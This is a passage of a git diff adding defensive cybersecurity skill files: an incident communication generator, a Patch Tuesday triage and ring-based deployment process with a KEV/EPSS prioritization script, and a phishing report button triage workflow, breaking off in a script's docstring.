"\nFile Hashes:\n" + for h in iocs["hashes"]: + advisory += f" {h['type']}: {h['value']}\n" + + if "domains" in iocs: + advisory += "\nC2 Domains:\n" + for d in iocs["domains"]: + advisory += f" {d}\n" + + if "ips" in iocs: + advisory += "\nC2 IP Addresses:\n" + for ip in iocs["ips"]: + advisory += f" {ip}\n" + + if "filenames" in iocs: + advisory += "\nFile Names:\n" + for fn in iocs["filenames"]: + advisory += f" {fn}\n" + + advisory += "\nREQUIRED ACTIONS:\n" + for i, action in enumerate(required_actions, 1): + advisory += f"{i}. [{action.get('priority', 'MEDIUM')}] {action['description']}\n" + + output_file = self.output_dir / f"{case_id}_technical_advisory.txt" + with open(output_file, "w") as f: + f.write(advisory) + + print(f"[+] Technical advisory generated: {output_file}") + return advisory + + def generate_regulatory_notification(self, case_id, regulation, data_types, + affected_count, timeline_events): + """Generate regulatory breach notification.""" + now = datetime.now(timezone.utc).strftime("%Y-%m-%d") + + notification = f"""[ORGANIZATION LETTERHEAD] + +Date: {now} +RE: Data Security Incident Notification - {case_id} + +Pursuant to {regulation}, {self.org_name} is providing notification +of a data security incident. + +INCIDENT SUMMARY: +On {timeline_events.get('detected', now)}, {self.org_name} detected a malware incident +affecting systems containing {', '.join(data_types)}. + +DATA POTENTIALLY AFFECTED: +- Types of data: {', '.join(data_types)} +- Number of individuals: {affected_count} + +TIMELINE: +- Incident occurred (estimated): {timeline_events.get('occurred', 'Under investigation')} +- Incident detected: {timeline_events.get('detected', now)} +- Containment achieved: {timeline_events.get('contained', 'In progress')} +- This notification: {now} + +MEASURES TAKEN: +1. Immediate containment of affected systems +2. Engagement of external forensic investigators +3. Enhanced monitoring and security controls +4. Comprehensive review of security posture + +CONTACT INFORMATION: +[Data Protection Officer / Privacy Officer] +{self.org_name} +[Contact Details] +""" + output_file = self.output_dir / f"{case_id}_regulatory_notification.txt" + with open(output_file, "w") as f: + f.write(notification) + + print(f"[+] Regulatory notification generated: {output_file}") + return notification + + def generate_full_communication_pack(self, case_id, severity, malware_type, + malware_name, affected_systems, impact, + iocs=None): + """Generate complete communication pack for an incident.""" + print(f"[*] Generating full communication pack for {case_id}") + + self.generate_initial_notification( + case_id, severity, malware_type, affected_systems, impact + ) + + self.generate_executive_briefing( + case_id, severity, + f"A {malware_type} incident has been detected affecting {len(affected_systems)} systems.", + impact, "CONTAINMENT IN PROGRESS", + ["Approve engagement of external IR firm", + "Approve customer notification if data exposure confirmed"] + ) + + self.generate_technical_advisory( + case_id, malware_name or malware_type, + f"{malware_type} detected on enterprise systems", + iocs or {}, + affected_systems, + [ + {"priority": "CRITICAL", "description": "Block all IOCs at perimeter"}, + {"priority": "HIGH", "description": "Scan all endpoints for indicators"}, + {"priority": "MEDIUM", "description": "Verify backup integrity"}, + ] + ) + + manifest = { + "case_id": case_id, + "severity": severity, + "generated": datetime.now(timezone.utc).isoformat(), + "documents": [ + f"{case_id}_initial_notification.txt", + f"{case_id}_executive_briefing.txt", + f"{case_id}_technical_advisory.txt", + ], + "stakeholders": self.STAKEHOLDER_MATRIX.get(severity, []), + } + + manifest_file = self.output_dir / f"{case_id}_communication_manifest.json" + with open(manifest_file, "w") as f: + json.dump(manifest, f, indent=2) + + print(f"[+] Full communication pack generated in {self.output_dir}/") + return manifest + + +def main(): + import argparse + + parser = argparse.ArgumentParser(description="Malware Incident Communication Generator") + parser.add_argument("--case-id", default="IR-2025-001") + parser.add_argument("--severity", choices=["P1", "P2", "P3", "P4"], default="P1") + parser.add_argument("--malware-type", default="ransomware") + parser.add_argument("--malware-name", default="Unknown") + parser.add_argument("--affected", nargs="+", default=["SRV-01", "WKS-042"]) + parser.add_argument("--impact", default="Business operations partially disrupted") + parser.add_argument("--org", default="Organization") + parser.add_argument("-o", "--output", default="communication_output") + + args = parser.parse_args() + + generator = IncidentCommunicationGenerator(org_name=args.org, output_dir=args.output) + generator.generate_full_communication_pack( + args.case_id, args.severity, args.malware_type, + args.malware_name, args.affected, args.impact + ) + + +if __name__ == "__main__": + main() diff --git a/skills/building-patch-tuesday-response-process/SKILL.md b/skills/building-patch-tuesday-response-process/SKILL.md new file mode 100644 index 00000000..62bf0445 --- /dev/null +++ b/skills/building-patch-tuesday-response-process/SKILL.md @@ -0,0 +1,197 @@ +--- +name: building-patch-tuesday-response-process +description: Establish a structured operational process to triage, test, and deploy Microsoft Patch Tuesday security updates within risk-based remediation SLAs. +domain: cybersecurity +subdomain: vulnerability-management +tags: [patch-management, patch-tuesday, microsoft, wsus, sccm, vulnerability-remediation, windows-update] +version: "1.0" +author: mahipal +license: MIT +--- +# Building Patch Tuesday Response Process + +## Overview +Microsoft releases security updates on the second Tuesday of each month ("Patch Tuesday"), addressing vulnerabilities across Windows, Office, Exchange, SQL Server, Azure services, and other products. In 2025, Microsoft patched over 1,129 vulnerabilities across the year -- an 11.9% increase from 2024 -- making a structured response process critical. The leading risk types include elevation of privilege (49%), remote code execution (34%), and information disclosure (7%). This skill covers building a repeatable Patch Tuesday response workflow from initial advisory review through testing, deployment, and validation. + +## Prerequisites +- Access to Microsoft Security Response Center (MSRC) update guide +- Vulnerability management platform (Qualys VMDR, Rapid7, Tenable) +- Patch deployment infrastructure (WSUS, SCCM/MECM, Intune, or third-party) +- Test environment mirroring production configurations +- Change management process (ITIL-based or equivalent) +- Communication channels for cross-team coordination + +## Core Concepts + +### Patch Tuesday Timeline + +| Day | Activity | Owner | +|-----|----------|-------| +| T+0 (Tuesday 10 AM PT) | Microsoft releases patches and advisories | Microsoft | +| T+0 (Tuesday afternoon) | Security team reviews advisories and triages | Security Ops | +| T+1 (Wednesday) | Qualys/vendor scan signatures updated | VM Platform | +| T+1-T+2 | Emergency patches deployed for zero-days | IT Operations | +| T+2-T+5 | Test patches in staging environment | QA/IT Ops | +| T+5-T+7 | Deploy to Pilot group (5-10% of fleet) | IT Operations | +| T+7-T+14 | Deploy to Production Ring 1 (servers) | IT Operations | +| T+14-T+21 | Deploy to Production Ring 2 (workstations) | IT Operations | +| T+21-T+30 | Validation scanning and compliance reporting | Security Ops | + +### Patch Categorization Framework + +| Category | Criteria | Response SLA | +|----------|----------|-------------| +| Zero-Day / Exploited | Active exploitation confirmed, CISA KEV listed | 24-48 hours | +| Critical RCE | CVSS >= 9.0, remote code execution, no auth required | 3-5 days | +| Critical with Exploit | Public exploit code or EPSS > 0.7 | 7 days | +| High Severity | CVSS 7.0-8.9, privilege escalation | 14 days | +| Medium Severity | CVSS 4.0-6.9 | 30 days | +| Low / Informational | CVSS < 4.0, defense-in-depth | Next maintenance window | + +### Microsoft Product Categories to Monitor + +| Category | Products | Risk Level | +|----------|----------|------------| +| Windows OS | Windows 10, 11, Server 2016-2025 | Critical | +| Exchange Server | Exchange 2016, 2019, Online | Critical | +| SQL Server | SQL 2016-2022 | High | +| Office Suite | Microsoft 365, Office 2019-2024 | High | +| .NET Framework | .NET 4.x, .NET 6-9 | Medium | +| Azure Services | Azure AD, Entra ID, Azure Stack | High | +| Edge/Browser | Edge Chromium, IE mode | Medium | +| Development Tools | Visual Studio, VS Code | Low | + +## Implementation Steps + +### Step 1: Pre-Patch Tuesday Preparation (Monday before) +``` +Preparation Checklist: + [ ] Confirm WSUS/SCCM sync schedules are active + [ ] Verify test environment is available and current + [ ] Review outstanding patches from previous month + [ ] Confirm monitoring dashboards are operational + [ ] Pre-stage communication templates + [ ] Ensure rollback procedures are documented + [ ] Verify backup jobs ran successfully on critical servers +``` + +### Step 2: Day-of Triage (Patch Tuesday) + +``` +Triage Process: + 1. Monitor MSRC Update Guide (https://msrc.microsoft.com/update-guide) + 2. Review Microsoft Security Blog for advisory summaries + 3. Cross-reference with CISA KEV additions (same day) + 4. Check vendor advisories (Qualys, Rapid7, CrowdStrike analysis) + 5. Identify zero-day and actively exploited vulnerabilities + 6. Classify each CVE by severity and applicability + 7. Determine deployment rings and timeline for each patch + 8. Submit emergency change request for zero-day patches + 9. Communicate triage results to IT Operations and management +``` + +### Step 3: Scan and Gap Analysis + +```python +# Post-Patch-Tuesday scan workflow +def run_patch_tuesday_scan(scanner_api, target_groups): + """Trigger vulnerability scans after Patch Tuesday updates.""" + for group in target_groups: + print(f"[*] Scanning {group['name']}...") + scan_id = scanner_api.launch_scan( + target=group["targets"], + template="patch-tuesday-focused", + credentials=group["creds"] + ) + print(f" Scan launched: {scan_id}") + + # Wait for scan completion, then generate report + results = scanner_api.get_scan_results(scan_id) + missing_patches = [r for r in results if r["status"] == "missing"] + + # Categorize by Patch Tuesday release + current_month = [p for p in missing_patches + if p["vendor_advisory_date"] >= patch_tuesday_date] + + return { + "total_missing": len(missing_patches), + "current_month": len(current_month), + "zero_day": [p for p in current_month if p.get("actively_exploited")], + "critical": [p for p in current_month if p["cvss"] >= 9.0], + } +``` + +### Step 4: Ring-Based Deployment Strategy + +``` +Ring 0 - Emergency (0-48 hours): + Scope: Zero-day and actively exploited CVEs only + Method: Manual or targeted push (SCCM expedite) + Targets: Internet-facing servers, critical infrastructure + Approval: Emergency change, verbal CISO approval + Rollback: Immediate rollback if service degradation + +Ring 1 - Pilot (Day 2-7): + Scope: All critical and high patches + Method: WSUS/SCCM automatic deployment + Targets: IT department machines, test group (5-10%) + Approval: Standard change with CAB notification + Monitoring: 48-hour soak period, check for BSOD, app crashes + +Ring 2 - Production Servers (Day 7-14): + Scope: All security patches + Method: SCCM maintenance windows (off-hours) + Targets: Production servers by tier + Approval: Standard change with CAB approval + Monitoring: Application health checks, performance baseline + +Ring 3 - Workstations (Day 14-21): + Scope: All security patches + quality updates + Method: Windows Update for Business / Intune + Targets: All managed workstations + Approval: Pre-approved standard change + Monitoring: Help desk ticket monitoring for issues + +Ring 4 - Stragglers (Day 21-30): + Scope: Catch remaining unpatched systems + Method: Forced deployment with restart + Targets: Systems that missed prior rings + Approval: Compliance-driven enforcement +``` + +### Step 5: Validation and Reporting + +``` +Post-Deployment Validation: + 1. Re-scan environment with updated vulnerability signatures + 2. Compare pre-patch and post-patch scan results + 3. Calculate patch compliance rate per ring and department + 4. Identify failed patches and investigate root causes + 5. Generate compliance report for management review + 6. Update risk register with residual unpatched vulnerabilities + 7. Document exceptions and compensating controls +``` + +## Best Practices +1. Subscribe to MSRC notifications and vendor analysis blogs for early intelligence +2. Maintain a dedicated Patch Tuesday war room or Slack/Teams channel +3. Always patch zero-day vulnerabilities outside the normal ring schedule +4. Test patches against critical business applications before broad deployment +5. Track patch compliance metrics month-over-month for trend analysis +6. Maintain rollback procedures for every deployment ring +7. Coordinate with application owners for compatibility testing +8. Document all exceptions with compensating controls and review dates + +## Common Pitfalls +- Deploying all patches simultaneously without ring-based testing +- Not scanning after patching to validate remediation +- Treating all patches equally without risk-based prioritization +- Ignoring cumulative update dependencies causing patch failures +- Not accounting for server reboot requirements in maintenance windows +- Failing to communicate patch status to business stakeholders + +## Related Skills +- implementing-rapid7-insightvm-for-scanning +- performing-cve-prioritization-with-kev-catalog +- implementing-vulnerability-remediation-sla +- implementing-patch-management-workflow diff --git a/skills/building-patch-tuesday-response-process/assets/template.md b/skills/building-patch-tuesday-response-process/assets/template.md new file mode 100644 index 00000000..86d0c360 --- /dev/null +++ b/skills/building-patch-tuesday-response-process/assets/template.md @@ -0,0 +1,30 @@ +# Patch Tuesday Response Report Template + +## Monthly Patch Summary +| Field | Value | +|-------|-------| +| Patch Tuesday Date | [YYYY-MM-DD] | +| Total CVEs Released | [N] | +| Zero-Days | [N] | +| Critical | [N] | +| Important | [N] | +| Moderate | [N] | + +## Deployment Status by Ring +| Ring | Name | SLA | Patches | Deployed | Compliance | +|------|------|-----|---------|----------|------------| +| 0 | Emergency | 48h | [N] | [N] | [%] | +| 1 | Pilot | 7 days | [N] | [N] | [%] | +| 2 | Production | 14 days | [N] | [N] | [%] | +| 3 | Workstations | 21 days | [N] | [N] | [%] | +| 4 | Stragglers | 30 days | [N] | [N] | [%] | + +## Zero-Day / Actively Exploited Patches +| CVE | Product | CVSS | KEV | Status | Deployed | +|-----|---------|------|-----|--------|----------| +| [CVE-ID] | [Product] | [N.N] | [Y/N] | [Deployed/Pending] | [Date] | + +## Exceptions and Deferrals +| CVE | Reason | Compensating Control | Review Date | Approver | +|-----|--------|---------------------|-------------|----------| +| [CVE-ID] | [Reason] | [Control] | [Date] | [Name] | diff --git a/skills/building-patch-tuesday-response-process/references/standards.md b/skills/building-patch-tuesday-response-process/references/standards.md new file mode 100644 index 00000000..dd126918 --- /dev/null +++ b/skills/building-patch-tuesday-response-process/references/standards.md @@ -0,0 +1,29 @@ +# Standards and References - Patch Tuesday Response Process + +## Microsoft Resources +- MSRC Security Update Guide: https://msrc.microsoft.com/update-guide +- Microsoft Security Blog: https://www.microsoft.com/en-us/security/blog/ +- Windows Update for Business: https://learn.microsoft.com/en-us/windows/deployment/update/waas-manage-updates-wufb +- SCCM/MECM Patch Management: https://learn.microsoft.com/en-us/mem/configmgr/sum/ + +## Industry Standards +- **NIST SP 800-40 Rev 4**: Guide to Enterprise Patch Management Planning +- **CIS Controls v8.1 Control 7.4**: Perform Automated Patch Management +- **PCI DSS v4.0 Req 6.3.3**: Install security patches within one month of release +- **ISO 27001:2022 A.8.8**: Management of technical vulnerabilities + +## Patch Tuesday Statistics (2025) +| Metric | Value | +|--------|-------| +| Total CVEs patched in 2025 | 1,129 | +| Year-over-year increase | 11.9% | +| Average CVEs per month | ~94 | +| Top category: Elevation of Privilege | ~49% | +| Top category: Remote Code Execution | ~34% | +| Zero-days patched in 2025 | Multiple per quarter | + +## Vendor Analysis Resources +- Qualys Patch Tuesday Blog: https://blog.qualys.com/tag/patch-tuesday +- Tenable Patch Tuesday Analysis: https://www.tenable.com/blog/tag/patch-tuesday +- CrowdStrike Patch Tuesday: https://www.crowdstrike.com/blog/tag/patch-tuesday +- SANS ISC Patch Tuesday Dashboard: https://isc.sans.edu/patchtuesday/ diff --git a/skills/building-patch-tuesday-response-process/references/workflows.md b/skills/building-patch-tuesday-response-process/references/workflows.md new file mode 100644 index 00000000..9edb5c2b --- /dev/null +++ b/skills/building-patch-tuesday-response-process/references/workflows.md @@ -0,0 +1,56 @@ +# Workflows - Patch Tuesday Response Process + +## Workflow 1: Monthly Patch Tuesday Lifecycle + +``` +Week 1 (Patch Tuesday): + Mon: Pre-staging, verify infrastructure readiness + Tue: Patch release, triage, zero-day emergency deployment + Wed: Scan environment, update signatures, gap analysis + Thu: Begin pilot deployment (Ring 1) + Fri: Monitor pilot, document issues + +Week 2: + Mon-Wed: Production server deployment (Ring 2) + Thu-Fri: Monitor server health, rollback if needed + +Week 3: + Mon-Fri: Workstation deployment (Ring 3) + +Week 4: + Mon-Wed: Catch stragglers (Ring 4) + Thu: Validation scanning + Fri: Compliance report, close change tickets +``` + +## Workflow 2: Zero-Day Emergency Response + +``` +┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐ +│ Zero-Day CVE │────>│ CISO Approves │────>│ Emergency Change │ +│ Identified │ │ Emergency Patch │ │ Ticket Created │ +└──────────────────┘ └──────────────────┘ └──────────────────┘ + │ + ┌────────────────────────────────────────────────┘ + v +┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐ +│ Quick Smoke Test │────>│ Deploy to Ring 0 │────>│ Monitor for │ +│ (1-2 hours) │ │ (Critical Assets)│ │ Issues (4 hours) │ +└──────────────────┘ └──────────────────┘ └──────────────────┘ + │ + v +┌──────────────────┐ ┌──────────────────┐ +│ Broader Rollout │────>│ Validation Scan │ +│ (All Rings) │ │ & Report │ +└──────────────────┘ └──────────────────┘ +``` + +## Workflow 3: Patch Compliance Tracking + +| Metric | Target | Measurement | +|--------|--------|-------------| +| Zero-day patch rate | 100% in 48 hours | SCCM compliance report | +| Critical patch rate | 95% in 7 days | Vulnerability scan delta | +| High patch rate | 90% in 14 days | Vulnerability scan delta | +| Overall compliance | 95% in 30 days | Monthly compliance dashboard | +| Exception documentation | 100% documented | GRC platform audit | diff --git a/skills/building-patch-tuesday-response-process/scripts/process.py b/skills/building-patch-tuesday-response-process/scripts/process.py new file mode 100644 index 00000000..f9fc9404 --- /dev/null +++ b/skills/building-patch-tuesday-response-process/scripts/process.py @@ -0,0 +1,195 @@ +#!/usr/bin/env python3 +""" +Patch Tuesday Response Automation Tool + +Fetches Microsoft Patch Tuesday advisory data, cross-references with +CISA KEV, and generates a prioritized deployment plan. + +Requirements: + pip install requests pandas + +Usage: + python process.py fetch --month 2025-12 # Fetch patches for month + python process.py analyze --month 2025-12 # Analyze and prioritize + python process.py plan --month 2025-12 --output deployment_plan.csv +""" + +import argparse +import json +import sys +from datetime import datetime + +import pandas as pd +import requests + + +MSRC_API = "https://api.msrc.microsoft.com/cvrf/v3.0/cvrf" +MSRC_UPDATES_API = "https://api.msrc.microsoft.com/cvrf/v3.0/updates" +KEV_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" +EPSS_API = "https://api.first.org/data/v1/epss" + + +class PatchTuesdayAnalyzer: + """Analyze and prioritize Patch Tuesday security updates.""" + + SEVERITY_MAP = { + "Critical": 4, + "Important": 3, + "Moderate": 2, + "Low": 1, + } + + RING_ASSIGNMENT = { + "zero_day": {"ring": 0, "name": "Emergency", "sla_hours": 48}, + "critical_rce": {"ring": 0, "name": "Emergency", "sla_hours": 72}, + "critical": {"ring": 1, "name": "Pilot", "sla_hours": 168}, + "important": {"ring": 2, "name": "Production", "sla_hours": 336}, + "moderate": {"ring": 3, "name": "Workstations", "sla_hours": 504}, + "low": {"ring": 4, "name": "Maintenance", "sla_hours": 720}, + } + + def __init__(self): + self.session = requests.Session() + self.session.headers.update({ + "Accept": "application/json", + "User-Agent": "PatchTuesday-Analyzer/1.0" + }) + self.kev_catalog = set() + + def load_kev_catalog(self): + """Load CISA KEV catalog for cross-reference.""" + try: + response = self.session.get(KEV_URL, timeout=30) + if response.status_code == 200: + data = response.json() + self.kev_catalog = { + v["cveID"] for v in data.get("vulnerabilities", []) + } + print(f"[+] Loaded {len(self.kev_catalog)} CVEs from CISA KEV") + except Exception as e: + print(f"[!] Failed to load KEV: {e}") + + def get_epss_scores(self, cve_list): + """Fetch EPSS scores for CVEs.""" + scores = {} + for i in range(0, len(cve_list), 100): + batch = cve_list[i:i + 100] + try: + response = self.session.get( + EPSS_API, + params={"cve": ",".join(batch)}, + timeout=30 + ) + if response.status_code == 200: + for entry in response.json().get("data", []): + scores[entry["cve"]] = float(entry.get("epss", 0)) + except Exception as e: + print(f" [!] EPSS error: {e}") + return scores + + def classify_patch(self, cve_data): + """Classify a patch into deployment ring.""" + is_exploited = cve_data.get("actively_exploited", False) + in_kev = cve_data.get("cve_id", "") in self.kev_catalog + severity = cve_data.get("severity", "").lower() + attack_type = cve_data.get("attack_type", "").lower() + cvss = float(cve_data.get("cvss_score", 0)) + epss = float(cve_data.get("epss_score", 0)) + + if is_exploited or in_kev: + return self.RING_ASSIGNMENT["zero_day"] + elif severity == "critical" and "remote code execution" in attack_type: + return self.RING_ASSIGNMENT["critical_rce"] + elif severity == "critical" or cvss >= 9.0 or epss > 0.7: + return self.RING_ASSIGNMENT["critical"] + elif severity == "important" or cvss >= 7.0: + return self.RING_ASSIGNMENT["important"] + elif severity == "moderate" or cvss >= 4.0: + return self.RING_ASSIGNMENT["moderate"] + else: + return self.RING_ASSIGNMENT["low"] + + def generate_deployment_plan(self, patches): + """Generate a ring-based deployment plan.""" + self.load_kev_catalog() + + cve_list = [p["cve_id"] for p in patches if p.get("cve_id")] + epss_scores = self.get_epss_scores(cve_list) + + plan = [] + for patch in patches: + cve_id = patch.get("cve_id", "") + patch["epss_score"] = epss_scores.get(cve_id, 0) + patch["in_cisa_kev"] = cve_id in self.kev_catalog + + ring = self.classify_patch(patch) + + plan.append({ + "cve_id": cve_id, + "product": patch.get("product", ""), + "severity": patch.get("severity", ""), + "attack_type": patch.get("attack_type", ""), + "cvss_score": patch.get("cvss_score", 0), + "epss_score": round(patch.get("epss_score", 0), 4), + "in_cisa_kev": patch.get("in_cisa_kev", False), + "actively_exploited": patch.get("actively_exploited", False), + "deployment_ring": ring["ring"], + "ring_name": ring["name"], + "sla_hours": ring["sla_hours"], + "kb_article": patch.get("kb_article", ""), + }) + + df = pd.DataFrame(plan) + df = df.sort_values(["deployment_ring", "cvss_score"], + ascending=[True, False]) + return df + + def print_summary(self, df): + """Print deployment plan summary.""" + print(f"\n{'=' * 70}") + print("PATCH TUESDAY DEPLOYMENT PLAN") + print(f"{'=' * 70}") + print(f"Total patches: {len(df)}") + print(f"Zero-day/KEV (Ring 0): {len(df[df['deployment_ring'] == 0])}") + + print(f"\nBy Severity:") + print(df["severity"].value_counts().to_string()) + + print(f"\nBy Deployment Ring:") + for ring in sorted(df["deployment_ring"].unique()): + ring_data = df[df["deployment_ring"] == ring] + ring_name = ring_data.iloc[0]["ring_name"] + sla = ring_data.iloc[0]["sla_hours"] + print(f" Ring {ring} ({ring_name}): {len(ring_data)} patches, " + f"SLA: {sla}h") + + print(f"\nBy Attack Type:") + print(df["attack_type"].value_counts().head(5).to_string()) + + +def main(): + parser = argparse.ArgumentParser( + description="Patch Tuesday Response Automation" + ) + subparsers = parser.add_subparsers(dest="command") + + plan_p = subparsers.add_parser("plan", help="Generate deployment plan from CSV") + plan_p.add_argument("--csv", required=True, help="Input CSV of patches") + plan_p.add_argument("--output", default="deployment_plan.csv") + + args = parser.parse_args() + analyzer = PatchTuesdayAnalyzer() + + if args.command == "plan": + df = pd.read_csv(args.csv) + patches = df.to_dict("records") + plan = analyzer.generate_deployment_plan(patches) + analyzer.print_summary(plan) + plan.to_csv(args.output, index=False) + print(f"\n[+] Deployment plan saved to {args.output}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/building-phishing-reporting-button-workflow/SKILL.md b/skills/building-phishing-reporting-button-workflow/SKILL.md new file mode 100644 index 00000000..e1015184 --- /dev/null +++ b/skills/building-phishing-reporting-button-workflow/SKILL.md @@ -0,0 +1,74 @@ +--- +name: building-phishing-reporting-button-workflow +description: Implement a phishing report button in email clients with automated triage workflow that analyzes user-reported suspicious emails and provides feedback to reporters. +domain: cybersecurity +subdomain: phishing-defense +tags: [phishing-reporting, email-security, incident-response, security-awareness, outlook, microsoft-365, soar] +version: "1.0" +author: mahipal +license: MIT +--- +# Building Phishing Reporting Button Workflow + +## Overview +A phishing reporting button empowers users to flag suspicious emails directly from their email client, creating a critical feedback loop between end users and the security operations center. Microsoft's built-in Report button is now the recommended approach, replacing the deprecated Report Message and Report Phishing add-ins. When combined with automated triage using SOAR platforms, reported emails can be classified, IOCs extracted, and remediation actions taken within minutes. Organizations with effective phishing reporting programs see 70%+ report rates in phishing simulations. + +## Prerequisites +- Microsoft 365 or Google Workspace with administrative access +- SOAR platform or automation capability (Microsoft Sentinel, Splunk SOAR, Cortex XSOAR) +- Dedicated reporting mailbox for phishing submissions +- Email security gateway with message retraction capability +- Security awareness training platform for feedback loop + +## Implementation Steps + +### Step 1: Deploy Phishing Report Button +- Enable Microsoft built-in Report button via Security & Compliance Center +- Configure user reported settings: route to reporting mailbox and Microsoft +- For third-party: deploy KnowBe4 Phish Alert Button or Cofense Reporter +- Verify button appears in Outlook desktop, web, and mobile clients +- Configure report options: Report Phishing, Report Junk, Report Not Junk + +### Step 2: Build Automated Triage Pipeline +- Configure reporting mailbox monitored by SOAR platform +- Auto-extract IOCs from reported emails: URLs, attachments, sender info, headers +- Submit URLs to VirusTotal, URLScan.io for reputation check +- Submit attachments to sandbox for dynamic analysis +- Check sender against known threat intelligence feeds +- Auto-classify: confirmed phishing, spam, simulation, legitimate + +### Step 3: Implement Response Actions +- Confirmed phishing: auto-retract from all inboxes, block sender domain +- Confirmed spam: move to junk for all recipients +- Simulation email: mark as correctly reported, credit user +- Legitimate email: return to inbox, notify reporter +- Generate IOC report for threat intelligence team + +### Step 4: Create Feedback Loop +- Send automated thank-you response to reporter within 5 minutes +- Include classification result when analysis completes +- Track reporter accuracy and engagement metrics +- Recognize top reporters in monthly security newsletter +- Feed reporting metrics into security awareness training program + +### Step 5: Measure and Optimize +- Track mean time to triage (target: under 10 minutes automated) +- Monitor report volume trends and false positive rates +- Measure user reporting rate in phishing simulations +- Report on confirmed threats caught by user reports vs. gateway +- Optimize automation rules based on classification accuracy + +## Tools & Resources +- **Microsoft Report Button**: Built-in Outlook phishing reporting +- **Cofense Reporter + Triage**: Enterprise phishing reporting and automated analysis +- **KnowBe4 Phish Alert Button**: Integrated reporting with simulation platform +- **Microsoft Sentinel**: SOAR automation for triage workflow +- **Proofpoint CLEAR**: Closed-loop email analysis and response + +## Validation +- Report button visible and functional across all Outlook platforms +- Reported email arrives in dedicated mailbox within 60 seconds +- Automated triage classifies test phishing email correctly +- Auto-retraction removes confirmed phishing from all inboxes +- Reporter receives feedback notification with classification +- Metrics dashboard shows report volume and accuracy trends diff --git a/skills/building-phishing-reporting-button-workflow/assets/template.md b/skills/building-phishing-reporting-button-workflow/assets/template.md new file mode 100644 index 00000000..1d9de1d0 --- /dev/null +++ b/skills/building-phishing-reporting-button-workflow/assets/template.md @@ -0,0 +1,28 @@ +# Phishing Reporting Button Workflow Template + +## Reporting Button Configuration +| Setting | Value | Status | +|---|---|---| +| Button type | Microsoft built-in Report | | +| Reporting mailbox | phishing-reports@company.com | | +| Also send to Microsoft | Yes | | +| Supported platforms | Desktop, Web, Mobile | | + +## Triage Automation Rules +| Classification | Criteria | Auto-Action | +|---|---|---| +| Confirmed Phishing | Score >= 50 | Retract + Block sender | +| Suspicious | Score 25-49 | Escalate to SOC analyst | +| Spam | Score 10-24 | Move to junk for all | +| Simulation | Matches sim subject | Credit reporter | +| Clean | Score < 10 | Return to inbox | + +## Reporting Metrics Dashboard +| Metric | Target | Current | +|---|---|---| +| Report volume (monthly) | | | +| Mean time to triage | < 10 min | | +| Confirmed phishing caught | | | +| User report rate (sim) | > 70% | | +| False positive rate | < 30% | | +| Top reporter recognition | Monthly | | diff --git a/skills/building-phishing-reporting-button-workflow/references/standards.md b/skills/building-phishing-reporting-button-workflow/references/standards.md new file mode 100644 index 00000000..631ebcdf --- /dev/null +++ b/skills/building-phishing-reporting-button-workflow/references/standards.md @@ -0,0 +1,28 @@ +# Standards & References: Building Phishing Reporting Button Workflow + +## MITRE ATT&CK References +- **T1566.001**: Phishing: Spearphishing Attachment +- **T1566.002**: Phishing: Spearphishing Link +- **T1204**: User Execution +- **D3-RERE**: User Reporting (MITRE D3FEND) + +## Industry Standards +- **NIST SP 800-61 Rev.2**: Computer Security Incident Handling Guide +- **CIS Controls v8 Control 14**: Security Awareness and Skills Training +- **ISO 27001 A.6.3**: Information Security Awareness, Education and Training + +## Reporting Platform Comparison +| Platform | Type | Integration | Auto-Triage | +|---|---|---|---| +| Microsoft Report Button | Built-in | M365 native | Via Sentinel/API | +| Cofense Reporter + Triage | Third-party | M365, Google | Yes (Cofense Triage) | +| KnowBe4 PAB | Third-party | M365, Google | Yes (KMSAT) | +| Proofpoint CLEAR | Third-party | M365, Google | Yes (built-in) | +| Hoxhunt | Third-party | M365, Google | Yes (AI-powered) | + +## Key Metrics +- **Report Rate**: Percentage of phishing simulations reported (target: >70%) +- **Mean Time to Triage**: Time from report to classification (target: <10 min) +- **False Positive Rate**: Legitimate emails reported as phishing +- **Threat Catch Rate**: Real threats first detected by user reports +- **Reporter Accuracy**: Percentage of reports that are actual threats diff --git a/skills/building-phishing-reporting-button-workflow/references/workflows.md b/skills/building-phishing-reporting-button-workflow/references/workflows.md new file mode 100644 index 00000000..ac4882b8 --- /dev/null +++ b/skills/building-phishing-reporting-button-workflow/references/workflows.md @@ -0,0 +1,69 @@ +# Workflows: Building Phishing Reporting Button Workflow + +## Workflow 1: Automated Phishing Report Triage + +``` +User clicks "Report Phishing" button + | + v +[Email forwarded to reporting mailbox] + +-- Original email preserved with full headers + +-- Reporter identity recorded + | + v +[SOAR platform ingests report] + | + v +[Automated IOC extraction] + +-- Extract sender address and domain + +-- Extract all URLs from body + +-- Extract attachment hashes (MD5, SHA256) + +-- Parse email headers for authentication results + | + v +[Automated analysis (parallel)] + +-- URLs -> VirusTotal, URLScan.io, PhishTank + +-- Attachments -> Sandbox detonation + +-- Sender -> Threat intelligence lookup + +-- Headers -> SPF/DKIM/DMARC validation + | + v +[Classification] + +-- CONFIRMED PHISHING: High-confidence malicious + +-- SUSPICIOUS: Moderate indicators, needs analyst review + +-- SPAM: Unwanted but not malicious + +-- SIMULATION: Matches internal phishing test + +-- CLEAN: Legitimate email, false report + | + v +[Automated response by classification] + +-- PHISHING: Retract from all inboxes + block sender + +-- SUSPICIOUS: Escalate to SOC analyst + +-- SPAM: Move to junk for all recipients + +-- SIMULATION: Credit reporter in training platform + +-- CLEAN: Return to inbox + | + v +[Feedback to reporter] + +-- "Thank you for reporting" (immediate) + +-- Classification result (when complete) + +-- Training tip (if false positive) +``` + +## Workflow 2: SOC Analyst Escalation + +``` +SOAR classifies report as SUSPICIOUS + | + v +[SOC analyst reviews] + +-- Examine full email content and headers + +-- Verify automated analysis results + +-- Check for similar reports from other users + | + v +[Analyst decision] + +-- Confirm malicious --> Trigger remediation playbook + +-- Confirm clean --> Close and notify reporter + +-- Need more info --> Contact reporter for context +``` diff --git a/skills/building-phishing-reporting-button-workflow/scripts/process.py b/skills/building-phishing-reporting-button-workflow/scripts/process.py new file mode 100644 index 00000000..b7a755f4 --- /dev/null +++ b/skills/building-phishing-reporting-button-workflow/scripts/process.py @@ -0,0 +1,304 @@ +#!/usr/bin/env python3 +""" +Phishing Report Triage Engine + +Processes user-reported phishing emails, extracts IOCs, +performs automated analysis, and classifies the report. + +Usage: + python process.py triage --eml-file reported_email.eml + python process.py metrics --reports-file reports.json + python process.py extract-iocs --eml-file 